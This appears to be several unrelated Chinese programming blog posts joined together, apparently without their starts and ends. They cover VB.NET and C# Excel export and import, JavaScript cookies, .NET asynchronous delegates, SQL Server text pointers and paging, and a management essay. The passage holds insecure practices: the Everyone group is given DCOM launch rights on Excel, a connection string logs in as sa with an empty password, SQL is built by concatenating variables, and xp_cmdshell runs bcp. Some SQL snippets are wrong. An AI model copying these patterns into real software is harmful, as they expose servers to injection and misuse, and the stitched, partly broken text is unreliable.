   2.读取Excel文件
     ' <summary>
    '  读取Excel文件
    ' </summary>
    ' <param name="dt">要转换为Excel文件的表</param>
    ' <param name="page">页面Page对象,用法: 将me.Page传递过来即可</param>
    ' <return>数据集DataSet</return>
    Public Function ReadExcelFileToDataSet(ByVal strFileName As String) As DataSet
        Try

            '建立一个专门存放Excel文件的目录
            If Directory.Exists(Page.Server.MapPath("ExcelFolder")) = False Then
                Directory.CreateDirectory(Page.Server.MapPath("ExcelFolder"))
            End If

            Dim strConn As String
            strConn = "Provider=Microsoft.Jet.OLEDB.4.0;" & "Data Source=" &

Page.Server.MapPath(".") & "\ExcelFolder\" & strFileName & ";" & "Extended

Properties=Excel 8.0;"
            Dim conn As OleDb.OleDbConnection = New OleDb.OleDbConnection(strConn)
            Dim strExcel As String = "select * from [sheet1$]"
            Dim ds As DataSet = New DataSet
            conn.Open()
            Dim adapter As OleDbDataAdapter = New OleDbDataAdapter(strExcel, strConn)
            adapter.Fill(ds)
            Return ds
        Catch ex As Exception
            Throw ex
        End Try
    End Function

   生成是成功的,但读取不成功,提示:"数据源格式有误!"
   一直是认为:ReadExcelFileToDataSet方法有误,调试了半天,找了N多资料也不能成功!
   后来经过"时间的流逝",终久确认第二个方法没有错误,是完全正确的,是第一个方法
   生成格式的问题. 于是我将第一个方法换为下面的方法,读取和写入就OK了.

  另外还可以读取指定范围内的单元格:
对 Excel 工作簿中表(或范围)的有效引用。
若要引用完全使用的工作表的范围,请指定后面跟有美元符号的工作表名称。例如:
select * from [Sheet1$]
若要引用工作表上的特定地址范围,请指定后面跟有美元符号和该范围的工作表名称。例如:
select * from [Sheet1$A1:B10]
若要引用指定的范围,请使用该范围的名称。例如:
select * from [MyNamedRange]

 
 3.生成Excel文件方法二:
     ' <summary>
    '  下载Excel方法2(用office-Excel-Com组件对象实现)
    ' </summary>
    ' <param name="dt">要转换为Excel文件的表</param>
    ' <param name="page">页面Page对象,用法: 将me.Page传递过来即可</param>
    Public Sub DownLoadExcelToClient2(ByVal dt As DataTable)
        '生成Excel操作相关对象
        Dim xlApp As Excel.Application
        Dim xlBook As Excel.Workbook
        Dim xlSheet As Excel.Worksheet
        xlApp = CType(CreateObject("Excel.Application"), Excel.Application)
        xlBook = CType(xlApp.Workbooks.Add, Excel.Workbook)
        xlSheet = CType(xlBook.Worksheets(1), Excel.Worksheet)


        'xlSheet.Range("A1:B1").Merge(0) '合并单元格
        'xlSheet.Cells(1, 1) = "员工资料信息:"

        '赋标题(Excel文件中的标题)
        Dim rowIndex As Integer = 2
        Dim colIndex As Integer = 0
        Dim Col As DataColumn
        Dim Row As DataRow
        For Each Col In dt.Columns
            colIndex = colIndex + 1
            xlApp.Cells(rowIndex, colIndex) = Col.ColumnName
        Next

        '将表dt的所有行写入xlApp对象(Excel文件中的内容)
        For Each Row In dt.Rows
            rowIndex = rowIndex + 1
            colIndex = 0
            For Each Col In dt.Columns
                colIndex = colIndex + 1
                xlApp.Cells(rowIndex, colIndex) = Row(Col.ColumnName)
            Next
        Next

        xlSheet.Application.Visible = True   '置为可见

        '建立一个专门存放Excel文件的目录
        If Directory.Exists(Page.Server.MapPath("ExcelFolder")) = False Then
            Directory.CreateDirectory(Page.Server.MapPath("ExcelFolder"))
        End If

        '删除服务端临时文件: download.xls
        If File.Exists(Page.Server.MapPath(".") & "\ExcelFolder\download.xls") = True Then
            File.Delete(Page.Server.MapPath(".") & "\ExcelFolder\download.xls")
        End If

        '在服务端保存download.xls
        xlSheet.SaveAs(Page.Server.MapPath(".") & "\ExcelFolder\download.xls")

        '杀死Excel进程
        Dim myproc As System.Diagnostics.Process = New System.Diagnostics.Process
        Dim proc As Process
        Dim procs() As Process = Process.GetProcessesByName("excel")   '得到所有打开的进程
        Try
            For Each proc In procs
                If Not proc.CloseMainWindow() Then
                    proc.Kill()
                End If
            Next
        Catch
        End Try

        '这里用到个goto语句,是因为: 线程是异步执行的,下面的代码要访问download.xls文件,但有

少数情况下上面的线程
        '未能及时释放download.xls文件的指针,那么下面代码执行语句时会抛出异常, 当发生异常时

需要等待资源释放后,
        '再重新访问该文件, 保证下载文件能够正确下载
again:  Try
            '输出到客户端()
            If File.Exists(Page.Server.MapPath(".") & "\ExcelFolder\download.xls") Then
                Dim TargetFile As FileInfo = New FileInfo(Page.Server.MapPath(".") &

"\ExcelFolder\download.xls")
                '清除缓冲区流中的所有内容输出.
                Page.Response.Clear()
                '向输出流添加HTTP头 [指定下载/保存 对话框的文件名]
                Page.Response.AppendHeader("Content-Disposition", "attachment; filename="

+ Page.Server.UrlEncode(TargetFile.Name))
                '向输出流添加HTTP头 [指定文件的长度,这样下载文件就会显示正确的进度
                Page.Response.AppendHeader("Content-Length", TargetFile.Length.ToString())
                '表明输出的HTTP为流[stream],因此客户端只能下载.
                Page.Response.ContentType = "application/octet-stream"
                '发送文件流到客户端.
                Page.Response.WriteFile(TargetFile.FullName)
                '停止执行当前页
                Page.Response.End()
            End If
        Catch
            Thread.Sleep(10)
            GoTo again
        End Try
    End Sub
这说明:
    a. 生成Excel文件后,用户经过修改,还要反向读取此Excel文件(比如:反向更新到数据库中)
       就只能用: 3 和 2方法结合使用. 
    b. 如果只是单向输出Excel文件,用1和2方法都可以. 不过用2的话还要安装Office-Excel,
       一般还要设置一下Com组件访问权限,添加对Com组件的引用: 添加: 引用->com->Microsoft Excel 11.0 object Library

(三).不能读取的原因 以及 权限问题解决

  a. 原因是:  方法 1 是用流的格式实现的,简单的说它不是真正的Excel格式,而 3 是调用的
     Excel Com组件,生成的是真正的Excel文档,所以能读取(1也可以读取,但也要用Stream类读取,

    如果数据有些复杂的话,会很麻烦).  用1和3方法生成的文件及文件图标一模一样,并且用Excel 

    应用程序打开后显示效果也是一样的.  但当用记事本分别打开1和3生成的*.xls文件时,就明
     显看到它们的不同了.(您可以下载一下本示例代码程序,分别生成两个文件,对比一下)

  b.在使用Excel com组件时除了装Office-Excel以外,一般还要设置一下Com的访问权限,步骤如下: 
     I.如果是Window2003 ->控制面版 -> 管理工具 -> 组件服务 ->
       打开树级目录找到子目录DCOM配置 -> Microsoft Excel 应用程序
       -> 右击选“属性” -> 在弹出对话窗口中选“安全”选项卡->
       -> 将启动和激活权限设为自定义->点击编辑按钮->
       ->在新窗口中将Everyone用户加入,选中复选框"启动权限",给予启动权限

     II.如果是WindowXP ->控制面版 -> 管理工具 -> 组件服务(繁体为"元件服务") ->
       打开树级目录找到子目录DCOM配置 -> Microsoft Excel 应用程序
       -> 右击选“属性” -> 在弹出对话窗口中选“安全”选项卡->
       -> 将启动和激活权限设为自定义->点击编辑按钮->
       ->在新窗口中将Everyone用户加入,选中复选框"远程启动",给予远程启动权限
(四).使用Excel模板
       虽然Com组件功能已经比较全面,可以对任意一个单元格设置和赋值.但是如果数据集DataSet比

   较复杂的话,全部用Com提供的方法实现就很麻烦了. 尤其是文档头和尾最难处理.
    这时可以这样处理:
    a.先用Excel应用程序建立一个Excel文件,设置好头/尾样式和以及所有单元格的布局和格式
      (这里就是作用office 家簇的 excel进行表格布局,可以任意操作)   
    b.将此文件保存到工程的一个文夹下面即可.
      用法:
      只需将2中的:
        xlBook = CType(xlApp.Workbooks.Add, Excel.Workbook)
           改为: 
        xlBook = xlApp.Workbooks.Add(page.MapPath(".") + "ExcelTemplate.xls")'使用現有模板
      即可。 这样xlBook实际上是基于自己创建的模板的.
    这样操作,一般表头和标题列,表尾列一般不用设置,只显示DataSet中的主要数据(甚至也不用显

   示DataSet列名)

    最近给客户做一些Excel报表,我们是这样做的,直接把客户给的Excel需求文件作为了模板.
    非常简便,更爽的是这样做报表跟客户要求的完全相同。

(五).代码示例下载

   https://files.cnblogs.com/ChengKing/OPExcel.rar

 此示例在配置环境:   WinXP(繁体) VS.net 2002    WinXP(简体) Vs.net 2003

                                    Win2003 VS.net 2003  测试能够正确运行!
(二).代码

<html>
<head>
<title>读写cookies</title>
</head>
<body>
<script language="javascript">
document.cookie="a=a;"
document.cookie="b=b;"
var mycookie = document.cookie;
function readcookie(name)
{
var start1 = mycookie.indexOf(name + "=");
if (start1== -1)
alert("cookies not found");
else
{
start=mycookie.indexOf("=",start1)+1;
var end = mycookie.indexOf(";",start);
if (end==-1)
{
 end=mycookie.length;}
 var value=unescape(mycookie.substring(start,end));
 if (value==null)
 {alert("No cookies found!");}
 else
 {alert("cookie变量:"+name+" 的值是 :"+value);}
 }
}
readcookie("a");
readcookie("b");
</script>
</body>
</html>

线程是程序执行的基本原子单位. 一个进程可以由多个线程组成.
在分布式编程中,正确使用线程能够很好的提高应用程序的性能及运行效率.

实现原理是将一个进程分成多个线程,然后让它们并发异步执行,来提高运行效率.

并发执行并不是同时执行(占有CPU),任意时刻还是只能有一个线程占用CPU,
只不过是它们争夺CPU频繁一些,感觉到他们似乎都在运行.

下面通过一个简单的例子来说明一下它的工作原理

设一个进程要完成两个任务:任务1和任务2
 并且任务1要经历: A1->B1->C1三个步骤才能完成
     任务2要经历: A2->B2->C2三个步骤才能完成
  I.如果两个任务同步执行的话完成两个任务是这样执行的:
   
    花费时间段:   1   2   3   4   5  6
                 A1->B1->C1->A2->B2-C2
   
     这样从A1一直到c2只能一个一个地执行. 当A1占用CPU执行时,从B1到C2线程只能在等待. 
     甚至它们不相互竞争同一个资源时,也要等待前面的执行完成,自己才能执行


  II.如果两个任务异步执行的话完成两个任务是这样执行的:
  
    花费时间段:   1   2   3   4   5  6   
                  A1->B1->C1
                  A2->B2->C2
   
     这样,任务1和任务2就分成两个独立的执行对象.  也就是说:
     A1->B1->C1 和 A2->B2->C2 是并发执行的. 当A1在执行某个运算时,A2线程可以去做其它
     的一些事情,比如访问磁盘等外部设备等

      对比一下I和II两种执行方式,完成所有任务I需要6个时间段,
  而II只需要3个时间段就完成了(事实上会多一点,因为方式II中的线程轮询CPU比较频繁,在轮询CPU时会花费一些时间);方式II所需时间是I的一半. 所以II完成整个任务要快.
      另一方面,II执行方式,完成每个任务所需的时间可能会花费时间长些,因为I方式是各个线程依次占用CPU执行,当A1占用CPU时,CPU就只为A1服务,当A1执行完后,才让出CPU。II情况就不一样了,它们是异步执行的,轮流使用CPU频繁,经常让出或占有CPU,执行每个线程完成的时间也就会相对长些.

    一般情况下,如果多个线程在执行时都要抢占某一个资源或某几个资源,则最好不用异步线程执行.因为它们是并发执行,很可能同时争夺某个资源有CPU,这时要么执行资源分配算法(比如要判断哪个线程优先级高,这要花费时间),或者是按时间片算法(这样要付出 轮询CUP/交接/让出CPU 所需的时间).  如果多个线程所需要的系统资源是比较均匀的,这时完全可以让它们异步并发执行,比如: 当一个线程在给客户端
发出消息后,并不是一直在等待此客户端回应,它可以继续处理下一个客户端请求.
http://www.microsoft.com/china/msdn/archives/library/dv_vstechart/html/vbtchAsyncProcVB.asp
http://dev.yesky.com/msdn/403/2114403.shtml
http://www.host01.com/Get/Net/00020001/0561614361718389.htm
http://industry.ccidnet.com/art/294/20030528/47645_1.html
http://www.5ivb.net/Info/94/Info29313/
http://cnbie.net/print_146048m49081.html
http://www.yesky.com/463/1704463.shtml
http://www.pconline.com.cn/pcedu/empolder/net/cs/0507/655844.html
http://www.vchome.net/dotnet/dotnetdocs/dotnet1.htms
http://www.ddvip.net/program/c-/index1/25.htm

(一).描述
  先运行个简单的线程示例,认识一下线程
  通过委托调用方法,以及使用AsyncResult判断线程的状态

(二).代码
using System;
using System.Threading;
using System.Runtime.Remoting.Messaging;

namespace 通过委托异步调用方法
{
 //委托声明(函数签名)
 delegate string MyMethodDelegate();

 class MyClass
 {
  //要调用的动态方法
  public string MyMethod1()
  {
   return "Hello Word1";
  }

  //要调用的静态方法
  public static string MyMethod2()
  {
   return "Hello Word2";
  }
 }
 class Class1
 {
  /// <summary>
  /// 应用程序的主入口点。
  /// </summary>
  [STAThread]
  static void Main(string[] args)
  {
            MyClass myClass = new MyClass();
  
   //方式1:  声明委托,调用MyMethod1
   MyMethodDelegate d = new MyMethodDelegate(myClass.MyMethod1);
   string strEnd = d();  
   Console.WriteLine(strEnd);

   //方式2:  声明委托,调用MyMethod2 (使用AsyncResult对象调用)
   d = new MyMethodDelegate(MyClass.MyMethod2); //定义一个委托可以供多个方法使用     
   AsyncResult myResult;   //此类封闭异步委托异步调用的结果,通过AsyncResult得到结果.
   myResult = (AsyncResult)d.BeginInvoke(null,null);        //开始调用
   while(!myResult.IsCompleted)  //判断线程是否执行完成
   {
    Console.WriteLine("正在异步执行MyMethod2 .....");
   }
   Console.WriteLine("方法MyMethod2执行完成!");
   strEnd = d.EndInvoke(myResult);      //等待委托调用的方法完成,并返回结果 
   Console.WriteLine(strEnd);
   Console.Read();
  }
 }
}


本示例代码已经测试,能够正常运行!
(一).描述
    本示例代码实现线程等待等待执行,比如一个线程在执行之前要等待所有其它线程或某个线程
先执行完成,或者等待其它线程至少一个执行完成.
(二).代码
    using System;
    using System.Runtime.Remoting.Messaging;
    using System.Threading;

namespace 等待句柄
{
 //委托声明(函数签名)
 delegate string MyMethodDelegate();
 class MyClass
 {
  //要调用方法1
  public string Write1()
  {
   for(double i = 0; i < 100000000000;i++)  //此数值大小可以根据自己的环境修改,
                                                                 //目的是让此方法延长时间而已
   {
    //延长时间(模拟实际任务)
   }
   Console.WriteLine("执行方法1");
   return "";
  }

  //要调用方法2
  public string Write2()
  {
   Console.WriteLine("执行方法2");
   return "22222222222222";
  }

  //要调用方法3
  public string Write3()
  {
   Console.WriteLine("执行方法3");
   return "33333333333333";
  }

  [STAThread]
  static void Main(string[] args)
  {
   MyClass myClass = new MyClass();
   MyMethodDelegate d1 = new MyMethodDelegate(myClass.Write1);
   MyMethodDelegate d2 = new MyMethodDelegate(myClass.Write2);
   MyMethodDelegate d3 = new MyMethodDelegate(myClass.Write3);

   AsyncResult myResult1,myResult2,myResult3;     //此类封闭异步委托异步调用的结果,通过AsyncResult得到结果.
   myResult1 = (AsyncResult)d1.BeginInvoke(null,null);        //调用  
  
   myResult2 = (AsyncResult)d2.BeginInvoke(null,null);       
  
   myResult3 = (AsyncResult)d3.BeginInvoke(null,null);

   //建立WaitHandle数组对象
   WaitHandle[] waitHandle = new WaitHandle[3]{myResult1.AsyncWaitHandle,myResult2.AsyncWaitHandle,myResult3.AsyncWaitHandle};

/*
      try
   {
    //等待三个异步方法中的至少一个执行完成,才继续执行下面的语句
    WaitHandle.WaitAny(waitHandle);
   }
   catch(Exception ex)
   {
    throw new Exception(ex.Message);
   }
*/

   myResult1.AsyncWaitHandle.WaitOne();  //如果当前异步方法还没有完成,此异步方法执行完毕才往下执行
   myResult2.AsyncWaitHandle.WaitOne(); 
   myResult3.AsyncWaitHandle.WaitOne();

/*
   myResult1.AsyncWaitHandle.WaitOne(TimeSpan.FromSeconds(1),false); //如果当前异步方法还没有完成,则等待一秒的时间执行此方法; 如果一秒后此方法还未完成的话,则不再等待,继续往下执行
   myResult2.AsyncWaitHandle.WaitOne(); 
   myResult3.AsyncWaitHandle.WaitOne();
*/ 
  
   Console.WriteLine("测试等待句柄");   //标记语句用.
   Console.Read();
  }
 }
}


本示例代码已经测试,能够正常运行!

管理 ntext、text 和 image 数据
   Microsoft® SQL Server™ 的 ntext、text 和 image 数据类型在单个值中可以包含非常大的数据量(最大可
   达 2 GB)。单个数据值通常比应用程序在一个步骤中能够检索的大;某些值可能还会大于客户端的可用虚拟内存。因此,
   在检索这些值时,通常需要一些特殊的步骤。
  
   如果 ntext、text 和 image 数据值不超过 Unicode 串、字符串或二进制串的长度(分别为 4,000 个字符、8,000 个字
   符和 8,000 个字节),就可以在 SELECT、UPDATE 和 INSERT 语句中引用它们,其引用方式与较小的数据类型相同。例
   如,包含短值的 ntext 列可以在 SELECT 语句的选择列表中引用,这与 nvarchar 列的引用方式相同。引用时必须遵守一
   些限制,例如不能在 WHERE 子句中直接引用 ntext、text 或 image 列。这些列可以作为返回其它数据类型(例如
   ISNULL、SUBSTRING 或 PATINDEX)的某个函数的参数包含在 WHERE 子句中,也可以包含在 IS NULL、IS NOT NULL 或
   LIKE 表达式中。
  
   处理较大的数据值
   但是,如果 ntext、text 和 image 数据值较大,则必须逐块处理。Transact-SQL 和数据库 API 均包含使应用程序可以
   逐块处理 ntext、text 和 image 数据的函数。
  
   数据库 API 按照一种通用的模式处理长 ntext、text 和 image 列:
  
   若要读取一个长列,应用程序只需在选择列表中包含 ntext、text 或 image 列,并将该列绑定到一个程序变量,该变量
   应足以容纳适当的数据块。然后,应用程序就可以执行该语句,并使用 API 函数或方法将数据逐块检索到绑定的变量中。
  
  
   若要写入一个长列,应用程序可使用参数标记 (?) 在相应位置代替 ntext、text 或 image 列中的值,以执行 INSERT
   或 UPDATE 语句。参数标记(对 ADO 而言则为参数)被绑定到一个足以容纳数据块的程序变量上。应用程序进入循环,在
   循环中先将下一组数据移到绑定的变量中,然后调用 API 函数或方法写入数据块。这一过程将反复进行,直到整个数据值
   发送完毕。
   使用 text in row
   在 Microsoft SQL Server 2000 中,用户可以在表上启用 text in row 选项,以使该表能够在其数据行中存储 text、
   ntext 或 image 数据。
  
   若要启用该选项,请执行 sp_tableoption 存储过程,将 text in row 指定为选项名并将 on 指定为选项值。BLOB(二进
   制大对象:text、ntext 或 image 数据)行中可以存储的默认最大大小为 256 字节,但是值的范围可以从 24 到 7000。
   若要指定默认值以外的最大大小,请指定该范围内的整数作为选项值。
  
   如果应用下列条件,则将 text、ntext 或 image 字符串存储在数据行中:
  
   启用 text in row。
  
  
   字符串的长度比 @OptionValue 所指定的限制短
  
  
   数据行中有足够的可用空间。
   当 BLOB 字符串存储在数据行中时,读取和写入 text、ntext 或 image 字符串可以与读取或写入字符串和二进制字符串
   一样快。SQL Server 不必访问单独的页以读取或写入 BLOB 字符串。
  
   如果 text、ntext 或 image 字符串比行中所指定的限制或可用空间大,则将指针存储在该行中。在行中存储 BLOB 字符
   串的条件仍然适用,但是:数据行中必须有足够的空间容纳指针。
  
   有关更多信息,请参见 sp_tableoption。
  
   使用文本指针
   如果未指定 text in row 选项,text、ntext 或 image 字符串将存储在数据行外;只有这些字符串的文本指针驻留在数
   据行中。文本指针指向由内部指针生成的树的根节点,而这些内部指针映射到实际存储(text、ntext 或 image 数据的)
   字符串段的页。
  
   SQL Server 2000 中的行文本指针与 SQL Server 早期版本中的文本指针不同。行文本指针的行为就象 BLOB 数据的文件
   句柄;早期的文本指针功能则象 BLOB 数据的地址。因此,在使用行文本指针时,请记住下列特性:
  
  
  
   重要 虽然游标中允许有行文本,但却不允许有行文本指针。如果尝试声明包含行文本指针的游标,SQL Server 将返回错
   误信息(8654、16、1、"A cursor plan could not be generated for the given statement because it contains
   textptr(inrow lob)."、1033)。
  
   数字
   对于每个数据库,每个事务最多允许 1024 个活动行文本指针。
  
   锁定
   当用户获取活动文本指针时,SQL Server 2000 在第一个用户控制文本指针时锁定数据行,并确保没有其他用户修改或删
   除该行。锁在文本指针变为无效时被释放。若要使文本指针无效,请使用 sp_invalidate_textptr。
  
   当事务的隔离级别是未提交读或者数据库为"只读"模式时,文本指针不能用于更新 BLOB 值。
  
   当数据库为"单用户"模式时,SQL Server 2000 不锁定数据行。
  
   为举例说明,给出下面的表:
  
   CREATE TABLE t1 (c1 int, c2 text)
   EXEC sp_tableoption 't1', 'text in row', 'on'
   INSERT t1 VALUES ('1', 'a')
  
   下面的事务将会成功:
  
   INSERT t1 VALUES ('1','This is text.')
   SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED
   GO
   BEGIN TRAN
   DECLARE @ptr varbinary(16)
   SELECT @ptr = textptr(c2)
   FROM t1
   WHERE c1 = 1
   READTEXT t1.c2 @ptr 0 5
   COMMIT TRAN
   GO
  
   下面的事务将会失败:
  
   SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED
   GO
   BEGIN TRAN
   DECLARE @ptr varbinary(16)
   SELECT @ptr = textptr(c2)
   FROM t1
   WHERE c1 = 1
   WRITETEXT t1.c2 @ptr 'xx'
   COMMIT TRAN
   GO
  
   持续时间
   行文本指针仅在事务内有效。提交事务时,文本指针变为无效。
  
   在某个事务内,当发生下列任一操作时,行文本指针可能无效:
  
   会话结束。
  
  
   删除该事务中的数据行。(其它事务无法删除数据行,因为该行包含锁。)
  
  
   文本指针所在的表的架构已更改。使文本指针无效的架构更改操作包括:创建或除去聚集索引,改变或除去表,截断表,
   通过 sp_tableoption 更改 text in row 选项,以及执行 sp_indexoption。
   使用前面的示例,下列脚本在 SQL Server 早期版本中有效,但在 SQL Server 2000 中将生成错误。
  
   DECLARE @ptrval varbinary(16)
   PRINT 'get error here'
   SELECT @ptrval = TEXTPTR(c2)
   FROM t1
   WHERE c1 = 1
   READTEXT t1.c2 @ptrval 0 1
  
   在 SQL Server 2000 中,必须在事务内使用行文本指针:
  
   BEGIN TRAN
   DECLARE @ptrval varbinary(16)
   SELECT @ptrval = TEXTPTR(c2)
   FROM t1
   WHERE c1 = 1
   READTEXT t1.c2 @ptrval 0 1
   COMMIT
  
   NULL 文本
   可以在由 INSERT 生成的 NULL 文本上获得行文本指针。而在以前,只有将 BLOB 更新为 NULL 后才能获得文本指针。
  
   例如,下列代码在 SQL Server 7.0 中无效,但在 SQL Server 2000 中有效。
  
   SET TRANSACTION ISOLATION LEVEL READ COMMITTED
   GO
   INSERT INTO t1 VALUES (4, NULL)
   BEGIN TRAN
   DECLARE @ptrval VARBINARY(16)
   SELECT @ptrval = TEXTPTR(c2)
   FROM t1
   WHERE c1 = 4
   WRITETEXT t1.c2 @ptrval 'x4'
   COMMIT
  
   在 SQL Server 7.0 中,必须执行下列操作:
  
   INSERT INTO t1 VALUES (4, NULL)
   UPDATE t1
   SET c2 = NULL
   WHERE c1 = 4
   DECLARE @ptrval VARBINARY(16)
   SELECT @ptrval = TEXTPTR(c2)
   FROM t1
   WHERE c1 = 4
   WRITETEXT t1.c2 @ptrval 'x4'
  
   下表汇总差别。
  
   差别 行文本指针 非行文本指针
   数字 对于每个数据库,每个事务最多允许 1024 个活动行文本指针。 无限制。
   锁定 将数据行一直 S 锁定到指针变为无效为止。
   当事务为"未提交读"或数据库为"单用户"或"只读"模式时不获取锁。
   不锁定数据行。
   持续时间 事务或会话结束、删除行或更改表的架构时变为无效。 删除行时变为无效。
   NULL 文本 插入 NULL 文本后可立即获取。 只有更新后才能获取。
  
  
   通过数据库 API 使用 ntext、text 和 image 数据
   这一部分概述数据库 API 处理 ntext、text 和 image 数据的方式:
  
   ADO
   ADO 可以将 ntext、text 或 image 列或参数映射为 Field 或 Parameter 对象。使用 GetChunk 方法逐块检索数据,使
   用 AppendChunk 方法逐块写数据。有关更多信息,请参见管理 Long 数据类型。
  
   OLE DB
   OLE DB 使用 ISequentialStream 接口支持 ntext、text 和 image 数据类型。ISequentialStream::Read 方法逐块读取
   长数据,ISequentialStream::Write 方法将长数据逐块写入数据库。有关更多信息,请参见 BLOB 和 OLE 对象。
  
   ODBC
   ODBC 具有一种称为"执行中的数据"的功能,可用于处理长数据的 ODBC 数据类型:SQL_WLONGVARCHAR (ntext)、
   SQL_LONGVARCHAR (text) 和 SQL_LONGVARBINARY (image)。这些数据类型被绑定到某个程序变量上。这样一来,就可以调
   用 SQLGetData 逐块检索长数据,调用 SQLPutData 逐块发送长数据。有关更多信息,请参见管理 text 和 image 列。
  
   DB-Library
   DB-Library 应用程序也是将 ntext、text 和 image 列绑定到程序变量上。DB-Library 函数 dbtxtptr 用于获取指向数
   据库中长列出现位置的指针,dbreadtext 则用来逐块读取长数据。dbwritetext、dbupdatetext 和 dbmoretext 之类的函
   数用于逐块写入长数据。
  
declare @pageSize int   --返回一页的记录数
declare @CurPage int  --页号(第几页)0:第一页;-1最后一页。

declare @Count int
declare @id int

set @pageSize=10
set @CurPage =1

--定位
if @CurPage = -1
begin
 --最后一页
 set rowcount @pageSize
 select @id=newsID from newsTemp   order by newsID
end

if @CurPage > 0
begin
 set @Count = @pageSize * (@CurPage -1) + 1
 set rowcount @Count
 select @id=newsID from newsTemp   order by newsID desc
end

--返回记录
set rowcount @pageSize
select * from newsTemp where newsID <=@id order by newsID desc

set rowcount 0
CREATE procedure pagination1

(@pagesize int,  --页面大小,如每页存储20条记录

@pageindex int   --当前页码

)

as

set nocount on

begin

declare @indextable table(id int identity(1,1),nid int)  --定义表变量

declare @PageLowerBound int  --定义此页的底码

declare @PageUpperBound int  --定义此页的顶码

set @PageLowerBound=(@pageindex-1)*@pagesize

set @PageUpperBound=@PageLowerBound+@pagesize

set rowcount @PageUpperBound

insert into @indextable(nid) select gid from TGongwen where fariqi >dateadd(day,-365,getdate()) order by fariqi desc

select O.gid,O.mid,O.title,O.fadanwei,O.fariqi from TGongwen O,@indextable t where O.gid=t.nid

and t.id>@PageLowerBound and t.id<=@PageUpperBound order by t.id

end

set nocount off
不能则学,不知则问,耻于问人,决无长进.如何能得到快乐:抛弃仇恨、远离烦恼、生活简单、淡泊名利、为人着想、笑口常开---
1. 说明:复制表(只复制结构,源表名:a,新表名:b)

SQL: select * into b from a where 1<>1;

2. 说明:拷贝表(拷贝数据,源表名:a,目标表名:b)

SQL: insert into b(a, b, c) select d, e, f from b;

3. 说明:显示文章、提交人和最后回复时间

SQL: select a.title, a.username, b.adddate
     from table a,(
          select max(adddate) adddate
          from table where table.title=a.title) b  

4. 说明:外连接查询(表名1:a,表名2:b)

SQL: select a.a, a.b, a.c, b.c, b.d, b.f
     from a LEFT OUT JOIN b ON a.a = b.c;  

5. 说明:日程安排提前五分钟提醒

SQL: select *
     from 日程安排
     where datediff(''minute'', f开始时间, getdate())>5   
  

6. 说明:两张关联表,删除主表中已经在副表中没有的信息

SQL: delete from info
     where not exists(
           select *
           from infobz
           where info.infid=infobz.infid );


7. 说明:——

SQL: SELECT A.NUM, A.NAME, B.UPD_DATE, B.PREV_UPD_DATE
     FROM TABLE1,(SELECT X.NUM, X.UPD_DATE, Y.UPD_DATE PREV_UPD_DATE
                  FROM (SELECT NUM, UPD_DATE, INBOUND_QTY, STOCK_ONHAND
                        FROM TABLE2
                        WHERE TO_CHAR(UPD_DATE,''YYYY/MM'') =
                              TO_CHAR(SYSDATE, ''YYYY/MM'')) X,
                       (SELECT NUM, UPD_DATE, STOCK_ONHAND
                        FROM TABLE2
                        WHERE TO_CHAR(UPD_DATE,''YYYY/MM'') =
                              TO_CHAR(TO_DATE(TO_CHAR(SYSDATE, ''YYYY/MM'')
                              || ''/01'',''YYYY/MM/DD'') - 1, ''YYYY/MM'') ) Y,
                   WHERE X.NUM = Y.NUM (+)AND X.INBOUND_QTY
                                 + NVL(Y.STOCK_ONHAND,0) <> X.STOCK_ONHAND ) B
                   WHERE A.NUM = B.NUM; 
8. 说明:——

SQL: select *
     from studentinfo
     where not exists(select * from student where studentinfo.id=student.id)
           and 系名称=''"&strdepartmentname&"''
           and 专业名称=''"&strprofessionname&"''

将SQL Server中的数据导入到Excel
SQL Server中的DTS也能将数据倒入Excel,但不如使用程序灵活,
//此处省略了若干必要的基本using名字空间,请自行加上。
using System.Data;
using System.Data.SqlClient;
//定义方法GetData(),返回一个数据表
private System.Data.DataTable GetData()
{ SqlConnection conn= new SqlConnection(@"Server=PXGD2;Initial Catalog=pingxiang;Uid=sa;Pwd=;");
SqlDataAdapter adapter= new SqlDataAdapter("select  username 用户名,catalyst_port 占用端口,home_address 住宅地址,ip_address
ip地址,phone 电话,addtime 开通日期 from userinfo where catalyst_port=1 or catalyst_port='' order by ip_address desc",conn);

DataSet ds= new DataSet();
try
{   adapter.Fill(ds,"Customer");
  }
catch(Exception ex)
{   MessageBox.Show(ex.ToString());
} return ds.Tables[0];
}

//按钮
private void button1_Click(object sender, System.EventArgs e)
{   Excel.Application excel= new Excel.Application();
  int rowIndex=1;
  int colIndex=0;

  excel.Application.Workbooks.Add(true);
   
  DataTable table=GetData();
    
  //将所得到的表的列名,赋值给单元格
  foreach(DataColumn col in table.Columns)
  {
   colIndex++;
   excel.Cells[1,colIndex]=col.ColumnName;   
  }

  //同样方法处理数据
  foreach(DataRow row in table.Rows)
{     rowIndex++;
    colIndex=0;
    foreach(DataColumn col in table.Columns)
    {
colIndex++;
excel.Cells[rowIndex,colIndex]=row[col.ColumnName].ToString();
    }
  }
  //不可见,即后台处理
  excel.Visible=true; 
}


可以在SQL SERVER 数据库中用以下命令实现...
EXEC master..xp_cmdshell 'bcp Pubs.dbo.employee out c:\temp1.xls -c -q -S LEARNER\LEARNER'

天下国家之事,败于小人者十一,败于君子者十九

因为这里是企业管理版块,企业和国家其实基本一样, 任何企业的发展都离开不了这个主题所体现出来的涵义, 所以把这句话,当作企业的起点,也是企业的终点!

我找不到这句话的出处了,应该我国古代一个有名的人写的, 我找到后再补上来。
之所以要用这句话,是因为一直周围的朋友想自己发展,却又由于基于常规的经验使得事业一直停步不前,觉得使足了劲,却原地不动。不知是天意如此还是能力所致? 便与本人交流,交流。

我自己喜欢深入企业调查,刚好经历类次的的企业, 所料之事,与所成之局都相对应,所以写出来,与大家分享。
天下国家之事,败于小人者十一,败于君子者十九。 如果把国家改成企业, 小人改成不合格的管理人员, 君子改成公司老板, 这句话就是: 天下企业之事,败于管理人员十一,败于老板十九。 这么一看,很是奇怪, 我们平时在瞎聊的时候,都说那家工厂被哪个经理搞垮了。 那家公司被那个工程师搞没了。很少听到说老板会自己搞垮自己的公司,不是胡说吗? 而且一般对于 败于君子者十九,也是解释到将军或是大臣,没有解释到君王。或者说是责任没有到君王,因为大家的思想都是一样: 谁会不要自己家的江山呀。
